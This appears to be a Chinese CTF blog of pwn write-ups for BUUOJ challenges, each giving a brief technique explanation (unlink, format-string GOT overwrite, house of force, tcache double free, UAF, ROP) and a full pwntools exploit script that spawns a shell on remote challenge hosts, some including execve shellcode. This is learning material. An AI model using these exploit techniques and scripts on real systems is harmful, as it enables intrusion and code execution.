简单unlink,unlink的绕过为FD->bk=p,BK->fd=p,以及p->next-chunk-presize==p->size,绕过这两布,FD以及BK的值基本就确定了,然后通过FD->bk=BK,BK->fd=FD,这样就能改写bss段上的堆指针到bss段上从而修改bss段上的内容,然后就基本想干什么就干什么
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",28621)

def show():
p.recvuntil("Your choice:")
p.sendline("1")

def alloc(len1,name):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("name:")
p.sendline(str(len1))
p.recvuntil("name of item:")
p.sendline(name)

def edit(index,len1,name):
p.recvuntil("Your choice:")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index))
p.recvuntil(":")
p.sendline(str(len1))
p.recvuntil(":")
p.send(name)

def free(index):
p.recvuntil("Your choice:")
p.sendline("4")
p.recvuntil("item:")
p.sendline(str(index))

alloc(0x50,"aaaa")#0
alloc(0x80,"bbbb")#1
alloc(0x20,"aaaa")#2
# fd->bk=p bk->fd=p

fd=0x6020b0
bk=0x6020b8
payload=p64(0)+p64(0x50)+p64(fd)+p64(bk)+"a"*0x30+p64(0x50)+p64(0x90)
edit(0,len(payload),payload)
free(1)
payload=p64(0)*2+p64(0x50)+p64(elf.got['atoi'])
edit(0,len(payload),payload)
show()
p.recvuntil("0 : ")
ad=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher("atoi",ad)
libc_base=ad-libc.dump("atoi")
sys_ad=libc_base+libc.dump("system")
edit(0,8,p64(sys_ad))
p.sendline("/bin/sh\x00")
#gdb.attach(p)
# fd -> bk = bk
# bk -> fd = fd

p.interactive()

axb_2019_fmt64

一个格式化字符串漏洞写了一上午,虽然用了很久,不过还是学到了一点东西,在printf的格式化字符串漏洞中,地址中含有’\x00’,当printf函数读取到这个后就会截断字符串,不管是泄露还是改got表中都应该注意这一点
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",29241)

offest=8
payload="%9$s"+"a"*4+p64(elf.got["puts"])
p.sendline(payload)
p.recvuntil("Repeater:")
ad=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher("puts",ad)
libc_base=ad-libc.dump("puts")
sys_ad=libc_base+libc.dump("system")
printf_ad=libc_base+libc.dump("printf")
printf_got=elf.got["printf"]

sys_high=(sys_ad>>16)&0xff
sys_low=sys_ad&0xffff
payload="%"+str(sys_high-9)+"c%14$hhn"+"%"+str(sys_low-sys_high)+"c%15$hn"
payload=payload.ljust(0x30,"A")+p64(printf_got+2)+p64(printf_got)
p.sendline(payload)
#gdb.attach(p)
p.sendline(";/bin/sh\x00")
p.interactive()

axb_2019_heap

这个题有意思,保护全开,一开始给了个格式化字符串漏洞,还是%s输入泄露不了got表,还限制了长度
但是后面又只有一个off-by-one+unlink,所以这里肯定可以泄露libc以及程序的基地址,
通过gdb调试能得到%15$p处为libc_start_main+240,%19$p处为main+0x116a正好与ida中的一样,然后正常unlink就可以了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",29352)

p.sendline("%15$p%19$p")
p.recvuntil("Hello, ")
ad1=int(p.recv(14),16)
ad2=int(p.recv(14),16)
libc_base=ad1-240-libc.sym["__libc_start_main"]
base=ad2-0x116a
bss_ad=base+0x202060
log.info("bss_ad: "+hex(bss_ad))

def alloc(index,size,content):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("(0-10):")
p.sendline(str(index))
p.recvuntil("size:\n")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)

def free(index):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("index:\n")
p.sendline(str(index))

def edit(index,content):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("index:\n")
p.sendline(str(index))
p.recvuntil(":")
p.sendline(content)

alloc(0,0x88,"a"*0x88)
alloc(1,0x81,"bbbb")
alloc(2,0x82,"/bin/sh\x00")
#Fd->bk=p
#BK->fd=p
#*(ad+0x18)=0x55ca71cf2010
fd=bss_ad-0x18
bk=bss_ad-0x10
libc=LibcSearcher("__libc_start_main",ad1-240)
libc_base=ad1-240-libc.dump("__libc_start_main")
sys_ad=libc_base+libc.dump("system")
free_hook=libc_base+libc.dump("__free_hook")
payload=p64(0)+p64(0x80)+p64(fd)+p64(bk)+"a"*0x60+p64(0x80)+p8(0x90)
edit(0,payload)
free(1)
payload=p64(0)*3+p64(free_hook)+p64(0x38)
edit(0,payload)
payload=p64(sys_ad)
edit(0,payload)
free(2)
#gdb.attach(p)
p.interactive()

picoctf_2018_leak_me

看栈上面的s与v5相邻,可以想到输出v5的时候顺便把s输出就可以了,大意了,一开始没写出来
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",28601)

p.sendline("aaaa")
p.sendline("a_reAllY_s3cuRe_p4s$word_f85406")
print p.recv()
p.interactive()

wdb_2018_2nd_easyfmt

这个题也是一个标准的格式化字符串漏洞,32位,思路是先通过格式化字符串漏洞泄露libc,然后再改printf的got表为system,并且如果一个字节一个字节的改got表的话,
应该注意大小顺序,如果使用pwntools的fmtstr就完全不用当心,这个题我没找到题目的libc,只能通过printf的地址来多找几个libc
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26716)

puts_got=elf.got["puts"]
printf_got=elf.got["printf"]
payload="aaaa"+"%9$s"+"bbbb"+p32(printf_got)
p.sendline(payload)
p.recvuntil("aaaa")
ad=u32(p.recv(4))
libc=LibcSearcher("printf",ad)
libc_base=ad-libc.dump("printf")
sys_ad=libc_base+libc.dump("system")

payload=fmtstr_payload(6,{printf_got:sys_ad})
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()

cmcc_pwnme1

什么保护都没开,两种做法,一种是泄露libc,ret到system,另一种是通过shellcode
exp,一开始忘记要加返回地址了,一直没做对……,确实好久没做32位的了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",27394)

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
printf_got=elf.got["printf"]
p.recvuntil(">> 6. Exit")
p.sendline("5")
p.recvuntil(":")

payload="a"*0xA4+"aaaa"+p32(puts_plt)+p32(0x8048624)+p32(puts_got)
p.sendline(payload)
p.recvuntil("...\n")
ad=u32(p.recv(4))

log.info("ad: "+hex(ad))
libc=LibcSearcher("puts",ad)
libc_base=ad-libc.dump("puts")
sys_ad=libc_base+libc.dump("system")
bin_ad=libc_base+libc.dump("str_bin_sh")
payload="a"*0xa4+"aaaa"+p32(sys_ad)+p32(0x8048624)+p32(bin_ad)
p.sendline(payload)
#gdb.attach(p)
p.interactive()

suctf_2018_basic pwn

简单rop
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26057)

flag_ad=0x401157
payload="a"*0x110+p64(0x401070)+p64(flag_ad)
p.sendline(payload)

p.interactive()

oneshot_tjctf_2016

根据程序流程做第一个scanf+%lld可以泄露地址,第二个可以调转到one_gadget,泄露地址那个地方最好用gdb调试一下
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",29744)

p.sendline("6294230")
p.recvuntil("Value: ")
ad=int(p.recv(14),16)
log.info("ad: "+hex(ad))
libc_base=ad-libc.sym["puts"]
#0x45226 0x4527a 0xf03a4 0xf1247
one_gadget=libc_base+0x45226
#gdb.attach(p)
p.sendline(str(one_gadget))
p.interactive()

x_ctf_b0verfl0w

没什么,就输入shellcode然后通过jmp esp跳就可以了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",29355)

jmp_esp=0x8048504
shellcode="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload=shellcode
payload=payload.ljust(0x20,"a")+p32(0x0804850E)+p32(jmp_esp)+asm("sub esp,0x28;jmp esp")
p.sendline(payload)
p.interactive()

inndy_echo

就格式化字符串漏洞就没了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",28641)

sys_got=elf.got["system"]
payload="%8$s"+p32(0x0804A018)
p.sendline(payload)
ad=u32(p.recv(4))
payload=fmtstr_payload(7,{elf.got["printf"]:ad})
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()

ciscn_2019_final_2

代解决,这个题知识点的主要是tcache attack+dup2函数+double free+house of spirit
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
 from pwn import *

#p=remote('node3.buuoj.cn',28321)
p=process('./ciscn_final_2')

elf = ELF('./ciscn_final_2')
libc = ELF('./libc-2.27.so')

def add(add_type, add_num):
p.sendlineafter('which command?\n> ','1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
p.sendafter('your inode number:', str(add_num))

def remove(remove_type):
p.sendlineafter('which command?\n> ', '2')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))

def show(show_type):
p.sendlineafter('which command?\n> ', '3')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
p.recvuntil('your int type inode number :')
elif show_type == 2:
p.recvuntil('your short type inode number :')
return int(p.recvuntil('\n', drop=True))

add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)

add(1,0x30)
remove(2)
#gdb.attach(p)

addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)

for i in range(0, 7):
remove(1)
add(2, 0x20)
remove(1)

addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70

add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30)
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)

p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')

p.interactive()

wustctf2020_name_your_cat

数组越界没什么好说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26413)
p.sendline("7")
p.sendline(p32(0x080485CB))

p.sendline("7")
p.sendline(p32(0x080485CB))

p.sendline("7")
p.sendline(p32(0x080485CB))

p.sendline("7")
p.sendline(p32(0x080485CB))

p.sendline("7")
p.sendline(p32(0x080485CB))

p.interactive()

gyctf_2020_force

保护全开,
House of force的经典题,这个题只有一个功能有用,分配内存那个函数,存在溢出,并且可以分配任意大小的堆,这个题的思路是先通过main_arena
来泄露libc,然后通过house of force 来改malloc_hook为og就可以了,不过要注意的一点是,要使用realloc来调整栈,来满足og的条件
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26270)
ad=0x10

def allo(size,content):
p.recvuntil("puts\n")
p.sendline("1")
p.recvuntil("size\n")
p.sendline(str(size))
p.recvuntil("bin addr ")
ad=int(p.recv(14),16)
p.recvuntil("content\n")
p.send(content)
return ad

ad=allo(0x200000,"aaaa")
libc_base=ad+0x200FF0
payload=p64(0)*5+p64(0xffffffffffffffff)
ad=allo(0x20,payload)
top_chunk=ad+0x20

malloc_hook=libc_base+libc.sym["__malloc_hook"]
realloc_hook=libc_base+libc.sym["__libc_realloc"]
log.info("ad: "+hex(top_chunk))
log.info("libc_base: "+hex(libc_base))
log.info("malloc_hook: "+hex(malloc_hook))

offest=malloc_hook-top_chunk
allo(offest-0x30,"bbbb")
og=0x4526a+libc_base
#gdb.attach(p)

allo(0x10, 'a' * 0x8 + p64(og) + p64(realloc_hook + 0x10))
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x40))
p.interactive()

wdb2018_guess

一个不常见的stack smash
程序可以运行的次数为三次,stack smash的原理是通过栈溢出覆盖argv,而程序报错信息会打印argv
得到程序flag的地址后,将argv改为flag的地址即可成功打印flag
第一次泄露libc,第二次泄露flag的地址(通过environ,__ environ中存放了
当前进程的环境变量,并且改环境变量在栈上,通过该环境变量与栈上flag的偏移,
就能得到flag的地址),第三次得到flag
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *

#p = process('./GUESS')
p = remote('node3.buuoj.cn',27072)
elf = ELF('./GUESS')
puts_got = elf.got['puts']

p.sendlineafter('Please type your guessing flag','a'*0x128 + p64(puts_got))
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
log.success('libc_base :' + hex(libc_base))
environ = libc_base + libc.dump('__environ')
info('environ_addr=',hex(environ))
p.sendlineafter('Please type your guessing flag','a'*0x128 + p64(environ))
p.recvuntil('stack smashing detected ***: ')
buf_addr = u64(p.recv(6).ljust(8,'\x00')) - 0x168
log.success('flag_addr=',hex(buf_addr))
p.sendlineafter('Please type your guessing flag','a'*0x128 + p64(buf_addr))
p.interactive()

zctf2016_note2

这个题是一个关于unlink的经典题,我从中确实学到了一点东西,strncat会被’\x00’截断
allo函数中有一个a2 - 1 > i,a2 为有符号int ,i为无符号int,这两者相比,有符号会被自动转
化为无符号,而-1转化为无符号会变成一个很大的数,可以任意溢出
然后就是常规unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",25105)

def allo(leng,content):
p.recvuntil(">>\n")
p.sendline("1")
p.recvuntil("(less than 128)\n")
p.sendline(str(leng))
p.recvuntil("content:\n")
p.sendline(content)

def show(index):
p.recvuntil(">>\n")
p.sendline("2")
p.recvuntil(":\n")
p.sendline(str(index))

def edit(index,choice,content):
p.recvuntil(">>\n")
p.sendline("3")
p.recvuntil(":\n")
p.sendline(str(index))
p.recvuntil("]\n")
p.sendline(str(choice))
p.recvuntil(":")
p.sendline(content)

def free(index):
p.recvuntil(">>\n")
p.sendline("4")
p.recvuntil(":\n")
p.sendline(str(index))

name="archer"
address="bbbb"
p.recvuntil(":\n")
p.sendline(name)
p.recvuntil(":\n")
p.sendline(address)
#FD->bk=p BK->fd=p
#*(fd+0x18)=p
#*(bk+0x10)=p
fd=0x602120-0x18
bk=0x602120-0x10
payload=p64(0)+p64(0x70)+p64(fd)+p64(bk)
allo(0x50,payload)
allo(0x0,"aa")
allo(0x80,"bb")
free(1)
payload=p64(0)*2+p64(0x70)+p64(0x90)
allo(0x0,payload)
#gdb.attach(p)
free(2)
payload="a"*0x18+p64(elf.got["atoi"])
edit(0,1,payload)
show(0)
p.recvuntil("Content is ")
ad=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher("atoi",ad)
libc_base=ad-libc.dump("atoi")
sys_ad=libc_base+libc.dump("system")
edit(0,1,p64(sys_ad))
p.sendline("/bin/sh\x00")
#gdb.attach(p)
p.interactive()

护网杯_2018_gettingstart

这个题就是考察小数在内存中的表示,用工具算一下,或者ida里面找一下就可以了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",29613)

payload="a"*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(
0x3FB999999999999A)
p.sendline(payload)
p.interactive()

ciscn_2019_en_3

这个题思路非常简单,保护全开,开头有两个输入和输出,这个题,环境是搭在ubuntu18上的,一开始
我用的ubuntu16位调的发现两个输出都能泄露libc,当我换环境之后用的新的libc-2.27偏移又不对,
思路: 泄露libc+tcache double free
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.27.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",27518)

def allo(leng,content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil("story: \n")
p.sendline(str(leng))
p.recvuntil(":")
p.sendline(content)

def free(index):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":\n")
p.sendline(str(index))

p.recvuntil("?\n")
p.send("aaaabbbb")
p.send("bbbbaaaa")
p.recvuntil("bbbbaaaa")

ad=u64(p.recv(6).ljust(8,'\x00'))
log.info("ad: "+hex(ad))
offest=0x81237
libc_base=ad-offest
log.info("libc_base"+hex(ad-offest))
#gdb.attach(p)

free_hook=libc_base+libc.sym["__free_hook"]
sys_ad=libc_base+libc.sym["system"]

allo(0x40,"aaaa")

allo(0x30,"/bin/sh\x00")
free(0)
free(0)
allo(0x40,p64(free_hook))
allo(0x40,"aaaa")
allo(0x40,p64(sys_ad))
free(1)
#gdb.attach(p)
p.interactive()

picoctf_2018_are you root

这个题真的有点东西,需要一些比较深入的思考,这个题最核心的部分就是get-flag与login那部分
get-flag的验证为** v5+2==5,还有个函数也值得提一下strdup内置malloc(大小由字符串的长度决定)
,返回的是堆地址,思路是先通过strdup创建一个内容为”a”* 8+p64(5)的堆,
通过reset,将这个堆free掉后(一开始每注意,以为是另一个堆),然后再login
第一次malloc得到的堆就是free掉的堆,就可以通过get-flag的验证了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.27.so")
context.os='linux'
context.arch='amd64'
context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",27337)

p.recvuntil("> ")
p.sendline("login "+"a"*8+p64(0x5))
p.recvuntil("> ")
p.sendline("reset")
p.recvuntil("> ")
p.sendline("login "+"archer")
p.recvuntil("> ")
p.sendline("get-flag")
print p.recv()

wustctf2020_number_game

int的范围[-2147483648,2147483647],判断条件是if ( v1 >= 0 || (v1 = -v1, v1 >= 0) )
显然v12就是-2147483648exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.27.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",27133)

p.sendline("-2147483648")
p.interactive()

picoctf_2018_buffer overflow 0

第一次做要用ssh的题
其中输出flag的程序signal(11, sigsegv_handler);
当内存出现错误时就会打印flag,比如溢出,以及访问非法内存
命令
ssh -p 27128 CTFMan@ node4.buuoj.cn
./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
或者通过rop的方式通过调用puts函数打印flag

./vuln aaaaaaaaaaaaaaaaaaaaaaaa\xc0\x84\x04\x08\x00\x00\x00\x00\x80\xa0\x04\x08
其中./vuln后面为argv[1]相当于参数

bjdctf_2020_YDSneedGrirlfriend

一个简单的uaf,给了后门函数,在allo中会创建一个0x10,第一部分存一个print函数的指针,将它覆盖成
后面函数的地址在输出对应的堆就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",28933)

def allo(size,content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(str(content))

def free(index):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(index))

def show(index):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index))

allo(0x20,"aaaa")#0
allo(0x20,"bbbb")#1
free(0)
free(1)
allo(0x10,p64(0x400b9c)*2)
show(0)
#gdb.attach(p)
p.interactive()

judgement_mna_2016

一个简单的格式化字符串漏洞,一开始瞎了,没看到栈上有flag,想用地址+%s泄露flag,结果
有保护,泄露不出
偏移是28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
#libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26774)

payload="%28$s"
p.recvuntil(">> ")
p.sendline(payload)
print p.recv()
p.interactive()

gyctf_2020_signin(18)

这个题在free函数中有个uaf,edit函数可以用一次,有getshell功能,只要ptr>0,就能getshell
需要用到的知识:tcache bin中满了7个后再free 的bin放在fastbin中
calloc从fastbin中分配,并且会将剩下的bin放到tcachebin中
这个题的思路是先分配8个0x70的堆,再依次free掉,堆8放在了fastbin中,此时fastbin中有一个堆,tcache中有7个堆,于是给tcachebin中留一个ptr-0x10的位置,allo一个堆,再修改free掉的那
fastbin中的堆的fd指针为ptr-0x10,然后使用backdoor函数就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.27.so")
context.os='linux'
context.arch='amd64'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",28646)

def allo(index):
p.sendlineafter("your choice?",str(1))
p.sendlineafter("idx?",str(index))

def edit(index,content):
p.sendlineafter("your choice?",str(2))
p.sendlineafter("idx?",str(index))
p.send(content)

def free(index):
p.sendlineafter("your choice","3")
p.sendlineafter("idx?",str(index))

for i in range(8):
allo(i)
for i in range(8):
free(i)

allo(8)
edit(7,p64(0x4040c0-0x10))
p.sendlineafter("your choice?","6")
p.interactive()

wustctf2020_name_your_dog

这个题思路非常简单给了shell函数通过它的方式改got就可以了,一开始没注意改的printf的got,结果看错了,以为能改到,结果改不到,只能改scanf的,并且正好可以改到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
#libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",26927)

sys_ad=0x80485CB
p.sendline("-7")
p.sendlineafter("Give your name plz: ",p32(sys_ad))
#gdb.attach(p)

p.interactive()

gyctf_2020_some_thing_interesting

格式化字符串漏洞+uaf,开头有一个长度为0xe字符串的验证,并且后续有一个和该字符串相关的
格式化字符串漏洞,可以输入的长度为0x13,还可以多输5个字符来泄露libc(一开始没注意长度,想绕
strncmp,结果绕不过去),uaf部分就写og就可以了,不过是0xf1147,交互写错了,调了一下午,太离谱了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
from LibcSearcher import *
from struct import pack
a=0
b=1
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
context.os='linux'
context.arch='i386'
#context.log_level='debug'
if(a==1):
p=process("./pwn")
else:
p=remote("node4.buuoj.cn",25441)

payload="OreOOrereOOreO%2$p"
p.sendlineafter("> Input your code please:",payload)
p.sendlineafter(":","0")
p.recvuntil("OreOOrereOOreO")
libc_base=int(p.recv(14),16)-0x3C6780
log.info("libc_base: "+hex(libc_base))
og=libc_base+0xf1147#0x45216 0xf02a4 0xf1147 0x4526a
malloc_hook=libc_base+libc.sym["__malloc_hook"]
realloc_hook=libc_base+libc.sym["__libc_realloc"]
#log.info("malloc_hook: "+hex(malloc_hook))

def allo(len1,con1,len2,con2):
p.recvuntil("#######################\n")
p.sendline('1')
p.recvuntil("> O's length : ")
p.sendline(str(len1))
p.recvuntil("> O : ")
p.send(con1)
p.recvuntil("> RE's length : ")
p.sendline(str(len2))
p.recvuntil("> RE : ")
p.send(con2)

def edit(index,con1,con2):
p.recvuntil("#######################\n")
p.sendline('2')
p.recvuntil("> Oreo ID : ")
p.sendline(str(index))
p.recvuntil("> O : ")
p.sendline(con1)
p.recvuntil("> RE : ")
p.sendline(con2)

def free(index):
p.recvuntil("#######################\n")
p.sendline('3')
p.recvuntil("> Oreo ID : ")
p.sendline(str(index))

def show(index):
p.sendlineafter(":","4")
p.sendlineafter(": ",str(index))

allo(0x68,"aaaa",0x28,"bbbb")
free(1)
edit(1,p64(malloc_hook-0x23),"aaaa")
#gdb.attach(p)
allo(0x68,"aaaa",0x68,"aaa"+p64(0)*2+p64(og))

p.sendlineafter(":","1")
p.sendlineafter(": ",str(0x20))
p.interactive()

mrctf2020_shellcode_revenge

